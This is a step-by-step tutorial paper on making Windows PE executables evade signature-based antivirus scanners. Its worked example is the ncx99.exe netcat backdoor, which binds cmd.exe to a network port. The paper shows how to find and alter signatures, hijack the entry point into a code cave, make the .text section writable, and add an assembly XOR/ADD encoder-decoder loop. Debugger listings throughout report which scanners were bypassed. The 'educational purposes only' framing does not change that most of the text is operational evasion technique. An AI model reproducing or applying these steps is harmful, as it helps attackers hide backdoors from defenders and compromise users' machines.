

Bypassing Anti-Virus Scanners

Abstract

Anti-Virus manufacturers nowadays implements more and more complex functions and algorithms in order to detect the latest and newest viruses along with their variants. There is however simple methods that can be used to bypass most of these, especially those that doesn't use heuristics and similar techniques at all.



Contents

Chapter 1 – Introduction2
Chapter 2 – PE File Structure
2.1 - AV Signatures and the PE file format
2.2 – Modifying AV Signatures in PE Files
2.3 – Polymorphic Techniques and Hijacks
Chapter 3 – Encoding Binary Files
3.1 – Preparing the PE file for Encoding
3.2 – Implementing the Custom Encoder
Chapter 4 – Decoding Binary Files16
4.1 – Altering the Encoder to a Decoder16
4.2 – Testing the Custom Decoder
Chapter 5 – Conclusion

Introduction

Anti-Virus manufacturers has evolved a lot during the last decade, starting with simple signaturebased scanners and thereafter slowly implementing more and more advanced heuristics. Most of these are able to scan files stored on the harddisk, but also opcodes in the memory.

Opcodes are in short, Assembly commands which are the lowest level of instructions given to the CPU by any application running. A program is usually developed in a higher level language such as C or C++, where opcodes are usually not directly involved. The compiler on the other hand, translates the high-level code into these opcodes based on the Architecture used and so forth.

When a traditional Anti-Virus application scans a file, it does so by reading the offsets and its assigned values. Where the offset is a memory address and the value is an opcode which the scanner can read with a simple binary hex-viewer. Therefore, it is able to look for a signature.

If an application passes the file-scan check on the harddisk without any heuristic "sandboxes" applied, then the file is either safe to run or the Anti-Virus application just got bypassed!

This paper will show some of the methods and techniques, one can use in order to do this.



This is for <u>educational purposes</u> only.

PE File Structure

A typical PE aka Portable Executable which is the default file format for Windows binaries looks like the picture below. It should be mentioned that not all binaries has all these 5 sections. Sometimes it's only 4 or perhaps 6-7 sections, depending on how the binary is built / made.

The signature which triggers the Anti-Virus application can be located anywhere, though usually it is within one of the actual sections and not section table headers, DOS header, DOS stub etc.



Figure 2.1 – PE File Visualization

2.1 - AV Signatures and the PE file format

Finding the signature that the Anti-Virus application looks for, isn't that hard if an old technique is used which is performed by splitting the file into several files and then scanning each file to see which one of them contains the signature.

Sometimes the signature is pretty easy to find, e.g. in case ncx99.exe is used. This is a simple netcat listener, which binds cmd.exe to port 99 on the global network interface. In the picture below from offset E77E to offset E78F is the main signature located.

t∃x	VI32 -	ncx	99-1	001	.ex	e																										B	×
Eile	<u>E</u> dit	<u>S</u> ear	ch	Ade	dres	s ļ	<u>3</u> 00k	mar	ks	<u>T</u> oc	ols	XVI	scrip	ot	<u>H</u> elp)																	
D	Ē		×	Х	ß	ð (ì	୍ଦ୍	Q	•	Î	ŝ	Ņ	?																			
	E6C3	41	64	64	72	65	73	73	00	00	90	01	4C	6F	61	64	4C	69	A	d	d	r e	s	s [ם נ			L	0	a	d :	L i	
	E6D4	62	72	61	72	79	41	00	00	71	01	48	65	61	70	52	65	41	ь	r	a	r y	A] q		H	e	a	p	R	e A	
	E6E5	60	6C	6F	63	00	вс	01	50	65	65	6B	43	6F	6E	73	6F	6C	1	1	0	c 0	34		P e	e	k	С	0	n	s	b 1	
	E6F6	65	49	6E	70	75	74	41	00	07	01	47	65	74	4 E	75	6D	62	e	I	n	p u	t	A (G	e	t	N	u	n b	
	E707	65	72	4 F	66	43	6F	6E	73	6F	6C	65	49	6E	70	75	74	45	e	r	0	fC	0	n	5 0	1	e	I	n	p	u 1	E	
	E718	76	65	6E	74	73	00	31	00	43	72	65	61	74	65	46	69	6C	v	e	n	t s		1 [) C	r	e	a	t	e	F	i 1	
	E 729	65	41	00	10	02	53	65	74	45	6E	64	4 F	66	46	69	6C	65	e	A			s	e t	E	n	d	0	f	F	i.	1 e	
	E73A	00	00	8D	01	4C	43	4D	61	70	53	74	72	69	6E	67	41	00] L	С	M	a p	s	t	r	i	n	g.	A D	
	E74E	00	8E	01	4C	43	4D	61	70	53	74	72	69	6E	67	57	00	00		Ž		L C	М	aj	p S	t	r	i	n	a	W	ם כ	
	E750	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00														ם כ	
	E76D	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00															
	E77E	00	6F	77	6 E	20	2D	6C	20	2D	70	20	39	39	20	2D	74	20		0	wβ	n	-	1	-	p		9	9		- 1	5	
	E78F	2D	65	20	63	6D	64	2 e	65	78	65	00	13	00	58	00	02	00	-	e		c m	d	- (e x	e				х			
	E7A0	00	01	08	00	88	38	13	00	A8	ЗВ	13	00	00	00	26	00	oc				- C	8		י כ	÷					۵ (
	E7B1	00	00	00	DC	21	28	00	00	00	00	00	00	00	00	00	00	00				Ü!	¢									ם	
	E 7C2	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00							ם כ								
	E7D3	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00														ם	
	E7E4	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00														ם	
	E7F5	00	00	00	00	00	00	00	00	00	00	00													ם נ								Ī
Adr. k	nex: E7	'FF		(Char	dec	: 0	(Dver	writ	e																						

Figure 2.1.1 – Hexadecimal View of a Binary File

Furthermore, the signature is located in the idata section in this case. This means that if we would try to encode the entire idata section, then our executable file might not work at all!

Therefore we could try to edit a part of this, or encode only the signature to avoid AV detection.

It is however also important to note, that Anti-Virus applications will read the PE headers too and use these to determine whether the executable file we want to run, is malicious or not.

Sometimes, even the time and date stamp within the file is a part of the signature which is a good idea to change or simply replace with null. If some of the section tables, headers or flags seem to be invalid by the AV-scanner, then it might flag it as malicious or potentially malicious since it assumes, that it must be due to it can't read the executable file properly.

🎇 OllyDbg - ncx99.exe - [Dump - ncx99:004000	0000400FFF]
D File <u>View</u> <u>D</u> ebug <u>Trace</u> <u>Options</u> <u>W</u> indows	Help _ B ×
	LEMTCBMH
Address Hex dump Decoded data	Comments
Hex dump Decoded data 00400078 65 DB 65 00400074 2E DB 2E 00400075 0D DB 0D 00400076 0D DB 0D 00400077 0A DB 0A 00400077 0A DB 0A 00400077 0A DB 0A 00400078 24 DB 24 00400078 0B DB 0A 00400078 <t< td=""><td>CHAR 'e' CHAR '.' Carriage Return Carriage Return Line Feed CHAR '\$' IMAGE_NT_SIGNATURE[4] = "PE " Machine = IMAGE_FILE_MACHINE_I386 NumberOfSections = 4 TimeDateStamp = 34AE8E89 Distant Porter Linkle 2</td></t<>	CHAR 'e' CHAR '.' Carriage Return Carriage Return Line Feed CHAR '\$' IMAGE_NT_SIGNATURE[4] = "PE " Machine = IMAGE_FILE_MACHINE_I386 NumberOfSections = 4 TimeDateStamp = 34AE8E89 Distant Porter Linkle 2
100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 1004000000 00000000 1004000000 00000000 1004000000 00000000 1004000000 00000000 1004000000 00000000 1004000000 00000000 1004000000 00000000 1004000000 00000000 1004000000 00000000 1004000000 000000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 00000000 100400000 000000000 100400000 000000000 100400000 000000000 100400000 000000000 100400000 000	Pointerlosymboliable = 0 NumberOfSymbols = 0 SizeOfOptionalHeader = 224. Characteristics = EXECUTABLE_IMAGE!32BIT_MACHINE!RELOCS_S MagicNumber = IMAGE_NT_OPTIONAL_HDR32_MAGIC MajorLinkerVersion = 5 MinorLinkerVersion = 0 SizeOfInitializedData = 25088. SizeOfInitializedData = 0 AddressOfEntryPoint = 4C00 BaseOfCode = 1000 BaseOfCode = 1000 FileAlignment = 1000 FileAlignment = 200 MajorOSVersion = 4 MinorOSVersion = 0 MajorImageVersion = 0 MajorImageVersion = 4 MinorSubsystemVersion = 4 MinorSubsystemVersion = 4 MinorSubsystemVersion = 4 MinorSubsystemVersion = 0 Win32VersionValue = 0 SizeOfHeaders = 1024.
Entry point of main module	

Figure 2.1.2 – Partial View of the PE Header in Ollydbg

2.2 – Modifying AV Signatures in PE Files

After a signature is perhaps found within one of the sections, then it is usually possible to change either by editing it directly with a hex-editor or by changing the opcodes with a disassembler or maybe, with something as simple as a debugger. (It is possible to do with Ollydbg.) In case ncx99.exe is used as previously mentioned, then it is possible to change both the listening port and the program it will execute. Of course if we change it to e.g. calc.exe then it won't do much good for any hacker at all, but changing the listening port from 99 to e.g. 81 do make a difference. It isn't many AV's that gets fooled by this, but it is a few.

Scanners									
🛛 ArcaVir	2010-06-18 Trojan.Ircbot.Wsas	g data	2010-06-18 Backdoor.NCX_99						
ດ:/ດຣາ້!	2010-06-18 Win32:Ncx	¢IKARUS	2010-06-18 Backdoor.Win32.Ncx						
💐 AVG	2010-06-18 BackDoor.Generic12.BNOS	KA\$PER\$KY\$	2010-06-18 not-a- virus:RemoteAdmin.Win32.NetCat.a						
🕫 AntiVir*	2010-06-18 Found nothing	SE DON	2010-06-18 Win32/NCX.99						
	2010-06-18 Backdoor.NCX_99	PANDA	2010-06-18 Hacktool/NetCat.B						
🌒 Clarn AV	2010-06-18 PUA.NetTool.Netcat-7	Quick Heal [*]	2010-06-18 Trojan.Agent.ATY						
(CP Secure®	2010-06-18 RemoteAdmin.W32.NetCat	SOPHOS	2010-06-18 Troj/Bdoor-RQ						
🔅 Dr.WEB	2010-06-18 Tool.Netcat	VBA32	2010-06-18 Backdoor.Win32.Ncx.b						
® F·PROT	2010-06-18 W32/Backdoor.QCI	⊻irus Buster	2010-06-18 Found nothing						
😴 F-Secure.	2010-06-18 not-a- virus:RemoteAdmin.Win32.NetCat.a								

Figure 2.2.1 – ncx99.exe – Original (Binds cmd.exe to port 99)

Scanners									
🛛 ArcaVir	2010-06-18 Trojan.Ircbot.Wsas	g data	2010-06-18 Backdoor.NCX_99						
ດ:/ດຣາ້!	2010-06-18 Found nothing	¢ikarus	2010-06-18 Found nothing						
💐 AVG	2010-06-18 BackDoor.Generic12.BNOS	KA\$PER\$KY 8	2010-06-18 not-a- virus:RemoteAdmin.Win32.NetCat.a						
🕫 AntiVir	2010-06-18 Found nothing	SEDON	2010-06-18 IRC/SdBot.NP						
le bitdefender	2010-06-18 Backdoor.NCX_99	PANDA	2010-06-18 Hacktool/NetCat.B						
🌒 Clam AV	2010-06-18 PUA.NetTool.Netcat-7	Quick Heal*	2010-06-18 Trojan.Agent.ATY						
(CP SECUME®	2010-06-18 RemoteAdmin.W32.NetCat	SOPHOS	2010-06-18 Troj/Bdoor-RQ						
🕸 Dr.WEB®	2010-06-18 Tool.Netcat	VBA32	2010-06-18 Backdoor.Win32.Ncx.b						
⑧ F·PROT	2010-06-18 W32/Backdoor.QCI	⊻irus Buster	2010-06-18 Found nothing						
😴 F-Secure.	2010-06-18 not-a- virus:RemoteAdmin.Win32.NetCat.a								

Figure 2.2.2 – ncx99.exe – Modified (Binds cmd.exe to port 81)

As you can see, Avast and Ikarus were bypassed. If we were to attack a computer which used one of these, then we would've succeeded now just by changing the listening port.

2.3 – Polymorphic Techniques and Hijacks

Polymorphic Techniques

Some polymorphic viruses, has the same functionality but different opcodes. This is yet another technique used by more skilled hackers. An example of this could be that instead of PUSH -1, the hacker could use DEC ESI, PUSH ESI, INC ESI if the ESI register is 0 to start with. If it isn't then we might have to save the value of ESI, by pushing it onto the stack, XOR'ing it so it becomes null (XOR ESI, ESI) and then use it to push the value -1 to the stack.

Afterwards we would of course have to restore the original value of ESI, by POP'ing the stack.

That is however just an example, since most AV scanners shouldn't detect PUSH -1 alone as anything malicious. But in case we encounter a signature, which is executable code and we can't change it to NOP's, then we would have to use encoding methods or "polymorphic methods".

Hijacks

In case we want to encode it, we have to hijack the entry point of the binary file either by editing the PE headers or perhaps by overwriting the first instruction to a jump, which then points to a "code cave" which is an unused section of data, where a hacker can enter his own code without altering the size of the target file.

It should be noted though, that some AV's actually checks the file-size too.

The hacker can of course, overwrite instructions further inside the binary too if he or she desires to do so. As long as the original program still contains the same functionality, in order to execute without crashing or causing similar errors, then it doesn't matter where any edits are made.

Encoding Binary Files

Hijacking the Entry Point is often used, but it does not really bypass Anti-Virus applications. Instead it makes a hacker able to re-route the execution flow to whatever he or she desires. In this case it could be a "black hole" to trick heuristic detection systems, or perhaps an encoder which bypasses the signature-based Anti-Virus scanner in use!

Below are two figures of how a normal PE file and an encoded PE file could look like.



3.1 – Preparing the PE file for Encoding

First we open our chosen PE file in our favorite disassembler and debugger. In this case we will use Ollydbg to alter the previously mentioned ncx99.exe backdoor. Keep in mind that you don't have to be an Assembly programmer in order to do nor understand this.



Figure 3.1.1 – Initial Overview of ncx99.exe

First we select the first couple of instructions (opcodes) and copy them to notepad or whatever program we prefer for taking notes. The reason why we're doing this is because we need to re-introduce some of the first overwritten opcodes later on, before we re-route the execution flow back to its original place.

Address	Нех	dump	Command
00404C00	/.	55	PUSH EBP
00404C01	1.	8bec	MOV EBP, ESP
00404C03	1.	6A FF	PUSH -1
00404C05	1.	68 00в04000	PUSH OFFSET 0040B000
00404C0A	ί.	68 78764000	PUSH 00407678
00404C0F	ί.	64:A1 0000000	MOV EAX, DWORD PTR FS: [0]
00404C15	1.	50	PUSH EAX

Figure 3.1.2 – First couple of opcodes inside ncx99.exe

Then we browse through the binary, for a convenient place to implement our custom encoder. After searching for a while inside the .text data section, we may find the following place.



Figure 3.1.3 – A convenient place for a "code cave" in ncx99.exe

After we've noted down the new Entry Point address at 0040A770, we browse to the memory overview by clicking the "M" icon. Then we double-click on the PE Header section and open it.

Simply, because we need to prepare the .text data section by making it writeable and of course, change the old Entry Point to our new one, which points to our "code cave". Adding a few bytes extra to the last section doesn't hurt either, as this may bypass some AV-scanners.

🎇 OllyDbg - ncx99.exe - [Dump - ncx99:004000	00000400FFF]	
D File <u>View</u> <u>Debug</u> <u>Trace</u> <u>Options</u> <u>Windows</u>	Help	_ 8 ×
	LEMTCBMH	
Address Hex dump Decoded data	Comments	▲
Address Hex dump Decoded data 0040014C 00000000 00000000 00000000 0040015C 00000000 00000000 00400154 00000000 00000000 00400154 00000000 00000000 00400154 00000000 00000000 00400154 00000000 00000000 00400155 6401000 00000000 00400164 00000000 00000000 00400168 00000000 00000000 00400174 00000000 000000000 00400174 00000000 000000000 00400174 00000000 000000000 00400174 00000000 000000000 00400174 00000000 000000000 00400184 00100000 000000000 00400184 00100000 000000000 00400194 00000000 000000000 00400194 00000000 00000000 00400196 00000000 000000000 00400180 000	Comments Load Config Table size = 0 Bound Import Table address = 0 Bound Import Table size = 0 Import Address Table size = 356. Delay Import Descriptor address = 0 Delay Import Descriptor size = 0 COM+ Runtime Header address = 0 Import Address Table size = 0 Reserved = 00000000 Reserved = 00000000 Name[8] = ".text " VirtualSize = 38768. VirtualAddress = 1000 SizeOfRawData = 38912. PointerToRelocations = 0 PointerToRelocations = 0 NumberOfRelocations = 0 NumberOfRelocations = 0 Characteristics = CODELEXECUTEIREAD Name[8] = ".rdata " VirtualAddress = 08000 SizeOfRawData = 1536. PointerToRawData = 9C00 PointerToRelocations = 0 PointerToRelocations = 0 PointerToRewData = 9C00 PointerToRewData = 1536. PointerToRelocations = 0 NumberOfRelocations = 0 NumberOfRelocations = 0 PointerToRawData = 1536. PointerToRelocations = 0 NumberOfRelocations = 0 Name[8] = "	
004001C8 • 2E 64 6 ASCII ".data",0,0,0 004001D0 • 44520001 DD 00005244 004001D1 • 0000000 DD 000002000 004001D2 • 0020000 DD 00002200 004001D2 • 0000000 DD 0000000 004001E0 • 0000000 DD 0000000 004001E4 • 0000000 DD 0000000 004001E4 • 0000000 DD 00000000 004001E8 • 0000 DW 0 004001E0 • 0000 DW 0 004001E7 • 2E 69 6 ASCII ".idata",0,0	Name[8] = ".data " VirtualSize = 21060. VirtualAddress = 0C000 SizeOfRawData = 15872. PointerToRawData = 0A200 PointerToRelocations = 0 PointerToLineNumbers = 0 NumberOfRelocations = 0 NumberOfLineNumbers = 0 Characteristics = INITIALIZED_DATA:READ:WRITE Name[8] = ".idata "	-
Entry point of main module		Paused

Figure 3.1.4 – PE Header Overview of ncx99.exe

This is the value we need to edit in order to be able to make the .text section writeable. We could use LordPE for this, but knowing the common values by mind, makes us able to do this without.

We will therefore change 60000020 to E0000020 as shown in the next picture, making the .text section writeable, allowing us to encode this while the PE file is executing. If we didn't do this we would get a "permission error" and most likely crash.

Adding a few bytes to one of the sections is a good idea too, if you don't need to be very strict on keeping exactly the same file-size. This is done by taking the hexadecimal value of e.g. the .idata section and then add the number of bytes wanted in hex.

If you're going to do this, then make sure you're calculating in hex and not decimal.

Figure 3.1.5 – Altered PE Header in ncx99.exe

After we've made our modifications, we select the entire section which contains our changes, right click and browse to "Edit", and then "Copy to Executable". Then right click on the new window and choose "Save File".

Keep in mind that this is a bit different in the older version of Ollydbg.

Because we've added a few bytes to the .idata section, the program won't execute. Therefore we need to add the amount of bytes we "added", by using a hex-editor to add the actual amount of bytes that was added to the .idata section.

C:\Documents and Settings\	\ncx99-001.exe	×
(3) Cit	(ncx99-001,exe is not a valid Win32 applicat	ion.
	OK	

Figure 3.1.6 – Altered ncx99.exe unable to execute

In this case XVI32 (a hex-editor) is sufficient to use. Simply browse to the end of the PE file, open the "Edit" menu and choose "Insert string". Then make sure you either add 00, 90 or CC.

Preferably just add 00 as this will do nothing at all. Under "Insert <n> times" you choose hexadecimal and choose the amount of bytes you added to the .idata section. When you're done click the "save" icon and your executable PE file, should be working again.

3.2 – Implementing the Custom Encoder

With all the preparations made, we're ready to implement the encoder. First we open our modified PE file in Ollydbg and see that we've landed at 0040A770. After taking a closer look on where the base (beginning) address is and where our code cave begins, we note down that from offset 00401000 to 0040A76F, is what we'll encode.

There are many ways to implement an encoder, but the easiest way is the one Mati Aharoni from Offensive Security did in his public video presentation about AV's. The encoder we're going to implement is slightly different in order to hopefully confuse a few more Anti-Virus scanners.

We'll basically encode almost the entire .text section, with an encoder which loops through each byte of the selected code that we want to encode. The encoding mechanism itself will just change the byte to whatever we tell it to become.

Address	Hex	dump	Command
0040A770		в8 00104000	MOV EAX,00401000
0040A775		8000 13	ADD BYTE PTR DS:[EAX],13
0040A778	-	8030 OF	XOR BYTE PTR DS:[EAX],0F
0040А77в		8000 37	ADD BYTE PTR DS:[EAX],37
0040A77E	-	40	INC EAX
0040A77F	-	3d 6fa74000	CMP EAX,0040A76F
0040A784	. ^	7e ef	JLE SHORT 0040A775

Figure 3.2.1 – Custom Assembly Encoder

Explanation of the Custom Encoder

- 1) First the base (beginning) address is moved into the EAX register.
- 2) Then it adds 13 to the byte which EAX is pointing to.
- 3) XOR (Exclusive OR) the byte with 0F which EAX is pointing to.
- 4) Add 37 to the byte which EAX is pointing to.
- 5) Increase EAX to point to the next byte.
- 6) Compare EAX with our ending address.
- 7) If our ending address hasn't been reached, jump to (2).



Figure 3.2.2 – Custom Encoder inside Ollydbg

With our custom encoder implemented we're almost done. It should be noted, that we could also use other opcodes too, to encode our .text section. Such opcodes could be: **sub**, **or**, **and**, etc.

But for now we're going to re-introduce some of the first few opcodes that was originally run by the executable in the start. Now we could be simple and just place a jump to 00404C00, but we'll add the first couple of instructions ourselves as shown in the picture below.



Figure 3.2.3 – Re-Introduced Opcodes in ncx99.exe

With that done you may wonder what the **JMP 00404C05** opcode is. That is a jump to the offset aka memory address where the next instruction after the original **PUSH -1** is located.

It should be noted that if we were to execute the file now, it would simply fail because the PE file as it is right now, will encode the .text section and try to execute it. Since it becomes encoded, then it will most likely fail and crash. But save the changes anyway and re-open it.

This is because we first need to use our encoder, to encode the file and afterwards change it to a decoder, so the execution flow will seem completely normal even without a debugger.

Decoding Binary Files

After we've successfully implemented our encoder we need to save the encoded contents and then change our encoder to a decoder as previously mentioned. This is relatively simple as you will experience yourself.

When we hit the first instruction which moves 00401000 into the EAX register, we can rightclick this and select "Follow in Dump". By pressing "F7" on your keyboard we can single-step through the custom encoder, and watch our .text section become encoded.

To speed up this process, select the instruction right after the **JLE SHORT 0040A775** opcode, place a breakpoint by pressing "F2" on your keyboard and then press "F9" to execute until the breakpoint stops the execution flow.

Some of the code and even your encoder may seem completely different now. This is because the encoder altered all the opcodes in the .text data section, except your encoder even though it may seem so. Copy the changes to an "executable" and save it as a new file.

4.1 – Altering the Encoder to a Decoder

Now open the newly created file and look at the custom encoder we implemented earlier.

As you can see almost all of the opcodes are "gibberish" and therefore we might have to press CTRL+A to do a quick analysis in order to get our custom encoder visible. When it appears to look like it should, we change two of the opcodes in order to make it a decoder.

Our initial encoder added 13 to the byte which EAX pointed to, then it XOR'd it with 0F and added 37 to end with. Now we need to reverse this, by deducting -37 to start with and then -13.

🔆 OllyDbg - ncx99-003.exe - [CPU - main thread, module ncx99-003]	
C File View Debug Trace Options Windows Help	
	B M H 🔚
00400769 13 DB 13 00400760 98 DB 98 00400760 10 DB 10 00400760 E3 DB E3 00400776 E3 DB E3 00400776 E3 DB E3 00400778 S000 C* ADD BYTE PTR DS:LEAX1,0C9 00400778 S000 C* ADD BYTE PTR DS:LEAX1,0C9 00400778 S000 S7 ADD BYTE PTR DS:LEAX1,0C9 00400778 S000 S7 ADD BYTE PTR DS:LEAX1,0C9 00400778 S000 S7 ADD BYTE PTR DS:LEAX1,0C9 00400778 S006 FA74000 CMP EAX,0040076F 00400784 7E EF JLE SHORT 00400775 00400785 90 NOP 004007878 S5 PUSH EBP 00400789 S92C MOV ESF,EBP 00400789 G9040789 G9040789	Registers (FPU) EAX 00408770 ncx99-003. ECX 0012FFB0 EDX 7C90E514 ntdll.KiFastSystemCa EBX 7FFDA000 ESY 0012FFC4 EBY 0012FFC4 EBY 0012FFC4 EDI 0012C038 EIP 00408788 ncx99-003.00408788 C 0 ES 0023 32bit 0(FFFFFFF) P 0 S 0018 32bit 0(FFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) S 0 FS 0038 32bit 7FFFFFFF) S 0 FS 0038 32bit 7FFFFFFF) 0 S 0000 NULL 0 0 LastErr 000000CB ERROR_ENVUAF
Imm=37 ('7') Occemble	TEL 00000010 (NO ND NE, A, NS, PO, GE,
Assemble	1196533780e- 8895158010e-
0040A77B ADD BYTE PTR DS:[EAX],-13	
Horess Hex 09491000 002 09491010 53 09491020 AB 09491030 53 09491040 78 09491040 78 09491040 78	Close
00401050 52 52 53 54 55 11 12 52 53 65 25 55 15 00 0F 57 %014511054 00401070 0C 8D 47 54 54 54 54 54 80 13 84 85 98 00 0F 57 10 .1GTTTTCUI 00401070 0C 8D 47 54 54 54 54 54 80 13 84 85 98 00 0F 57 10 .1GTTTTCUI 00401080 E6 8F 6F 47 E6 87 6F 63 A3 A0 9D AB 73 5E 93 53 µAoGµçocui 00401090 A0 A2 54 1C 78 10 CA 8D 5F BE 8F A0 A0 A0 A0 A0 A0 A0 57 Lx P [±] L ⁼ 00401080 CA 53 53 D0 0F 47 A3 AB 9F 13 93 53 228 84 65 53 "SS" %614511 00401080 CA 53 53 D0 0F 47 A3 AB 9F 13 93 53 228 84 63 53 "SS" %614511 00401080 54 5E 03 72 92 53 80 13 B4 85 98 D0 0F 57 10 C8 T^*priscµits/ 00401080 54 5E 03 72 92 53 80 13 B4 85 98 D0 0F 57 10 C8 T^*priscµits/ 00401080 84 65 39 5F C8 6F 73 C8 85 5F E6 8F 6F 73 CA 10°T±Aost* 00401080 84 65 39 5F 00 0F 67 0C 80 47 54 54 54 54 54 C8 T**priscµits/ 00401080 84 5E 03 72 92 53 80 13 B4 85 98 D0 0F 57 10 C8 T**priscµits/ 00401080 84 5E 03 72 92 53 80 13 B4 85 98 D0 0F 57 10 C8 T**priscµits/ 00401080 84 5E 03 72 92 53 80 13 B4 85 98 D0 0F 57 10 C8 T**priscµits/ 00401080 84 5E 03 A7 94 CA 8F 6F 73 CA 10°T±Aost* 00401080 84 52 6F 73 CA 10°T±Aost*	csSy=#W 0012FFE0 FFFFFFFF coSy=#W 0012FFE4 7C839AA8 d012FFE4 7C839AB8 d012FFE6 0000000 d012FFF6 0000000 d012FFF8 00000000 d012FFF8 00000000 d012FFF8 00000000 d012FFF8 00000000
	Paused

Figure 4.1.1 – Changing the Encoder to a Decoder

We will still use the **add** opcode and of course **xor**, but we'll only need to change the values as mentioned previously, which you can also see in the picture above in figure 4.1.1.

When we've done that we copy our changes to an executable, and save it as a new file.

In theory the PE file should work now just as it did to start with, but it is also encoded too making it able to bypass some AV-scanners, which makes it more interesting.

4.2 – Testing the Custom Decoder

C File Yiew Debug Trace Options Windows Help C File Yiew Debug Trace Options Windows Help C File Yiew Debug Trace Debug Trace B M H E Options Windows Help L E M T C Image: Construction of the construline of the construction of the construction of the co	🔆 OllyDbg - ncx99-004.exe - [CPU - main thread, module ncx99-004]			
Image: Section of the section of th	C File View Debug Trace Options Windows Help			
00407756 004407757 > ES3 00104000 PUD EXT. 00401000 PUD EXT. PTR D5: LERX1.0C9 PUD EXT. PTR D5: LERX1.0C9 PUS PUE PTR D5: LERX1.0C9 PUE PTR D5: LERX1.0C9		в м н 📰		
Jump is taken Dest=ncx99-004.0040775 Ch 0002/5 Ch 0002/5 Ch 0, b, h, b,	00400776F E3 DB E3 00400776F B8 00104000 MOU EAX,00401000 00400778 B0300 C9 ADD BYTE PTR DS:[EAX],0C9 00400778 8030 0F XOR BYTE PTR DS:[EAX],0F 00400777F 8000 ED ADD BYTE PTR DS:[EAX],0F 00400777F 30 6FA74000 INC EAX 00400778 90 NDP 00400780 6A FF PUSH EP 00400781 6A FF PUSH -1 00400792 00 DB 00 00400793 00 DB 00 00400794 00 DB 00 00400795 00 DB 00 00400794 00 DB 00 00400795 00 DB 00 00400796 00 DB 00 00400796 0	Registers (FPU) EAX 00401001 ncx99-004.00401001 ECX 0012FF80 EDX 7C90E514 ntdll.KiFastSystemCa EBX 7FFDF000 ESY 0012FF64 EBP 0012FF64 EDI 00128430 EIP 0040784 ncx99-004.004004784 C 1 ES 0023 32bit 0(FFFFFFF) A 1 SS 0023 32bit 0(FFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) S 0 DS 0023 32bit 7FFFFFF) A 1 FS 003B 32bit 7FFE0000(FFF) D 0 GS 0000 NULL D 0 LastErr 00000CB ERROR_ENVUAF		
Addxress Hex dump Ascii 00401000 00127FC8 00127FC9 ± + 00127FC8 00127FC8 00127FC8 00127FC8 00127FC8 00127FC8 00127FC8 ± + . 00127FC8 00127FC8 ± + . 00127FC8 ± + . <td< th=""><th>Jump is taken Dest=ncx99-004.0040A775</th><th>ST0 empty -UNORM B698 006E0065 00: ST1 empty 7.7444158501969533780e- ST2 empty 0.0211341218895158010e- ST3 empty +UNORM 7154 0000000 00</th></td<>	Jump is taken Dest=ncx99-004.0040A775	ST0 empty -UNORM B698 006E0065 00: ST1 empty 7.7444158501969533780e- ST2 empty 0.0211341218895158010e- ST3 empty +UNORM 7154 0000000 00		
	Address Hex dump ASCII 00401000 031 27 57 A0 90 90 28 02 53 53 C8 96 FB 72 92 #'Wॣ+#RS: 00401000 031 27 57 A0 90 90 28 02 53 53 C8 96 FB 72 92 #'Wॣ+#RS: 00401020 AB 53 57 95 56 67 A1 CA 80 43 C8 8F 67 67 A2 A0 90 Syco0G/+"C"+ 00401030 53 53 CA 97 6F 68 CA 97 6F 67 A1 CA 8D 47 41 CS=±006/+"C"+ 040401050 52 25 53 45 FF 72 22 33 32 B0 63 53 50 MEST^* #EST^* #EST* #EST* #EST* #ES	3012FFC4 7C817077 wpüi AoodS 0012FFC8 0012B430 014. AoodS 0012FFC0 004A756F 0u1. AoodS 0012FFD0 7FFDF000 .=>∆ i=16T_ 0012FFD4 80544C7D)LTC i=16T_ 0012FFD6 84FC5DA8 :]"ä i=15S_ 0012FFE4 7C817080 C]"ä i=14S 0012FFE4 7C817080 Cpui i=15S_ 0012FFE4 7C817080 Cpui i=14S 0012FFE4 7C817080 Cpui i=15S_ 0012FFE4 7C817080 Cpui i=14S 0012FFE4 7C817080 Cpui i=15S 0012FFE4 000000000 Aààààà 0012FFE4 000000000 i=15Si+f 0012FFF6 000000000 i=25H+f 0012FFF8 0040A770 p20. i=25H+f 0012FFF8 00400700 p20. i=200T^A 012FFF8		

Now it's time to test if our encoded file will decode properly and execute gracefully.

Figure 4.2.1 – Encoded Overview of ncx99.exe

In the picture above, only the first hex character has been decoded back to its original "state". (Please note that a character in this case, is a byte which is the same as 8 bits made of binary.)

By placing a breakpoint right after **JLE SHORT 0040A775**, and then running the PE file until it stops executing, we'll see that the entire .text section has changed back to its original state.

If we execute the first couple of re-introduced opcodes including the long jump back to where the real start of the program is, we'll see that it may still look obfuscated or encoded.

🔆 OllyDbg - ncx99-004.exe - [CPU - main thread, module ncx99-004]			
C File View Debug Irace Options Windows Help			
	B M H 🗄		
004048F8 5E D8 5E D8 5F 004048F9 5F D8 5B 004048F6 C3 D8 C3 004048F7 CC D8 CC 004048F8 CC D8 CC 004048F6 CC D8 CC 004048F7 CC D8 CC 004048F8 CC D8 CC 004048F7 CC D8 CC 004048F7 CC D8 CC 0040400 55 PUSH EBP 00404003 ? 6A FF PUSH -1 00404005 > 68 00504000 PUSH 0FFSET 00408000 00404005 > 68 00504000 PUSH -1 00404005 > 68 00504000 PUSH 0FFSET 00408000 00404005 > 68 00504000 PUSH 0FFSET 00408000 00404005 > 68 00504000 PUSH 0FFSET 00408000 00404005 > 64 008 64 08 68 00404000 40 D8 64 00404000 40 D8 64 00404011 69 D8 64 00404011 69 D8 69 00404011 69 D8 09	Registers (FPU) ▲ EAX 0040A770 ncx99-004. ModuleEnt; ECX 0012FF80 EDX 7C90E514 ntdll.KiFastSystemCa EDX 7C90E514 ntdll.KiFastSystemCa EDX 7C90E514 ntdll.KiFastSystemCa EBX 7FDF000 ESI 0042FF60 ESI 0042FF60 ESI 0044756F EDI 0012B430 EIP 00404C05 ncx99-004.004040C05 C 0 ES 0023 32bit 0(FFFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) S 0 ES 0023 32bit 0(FFFFFFFF) C 0 DS 0023 32bit 0(FFFFFFFF) G S 0000 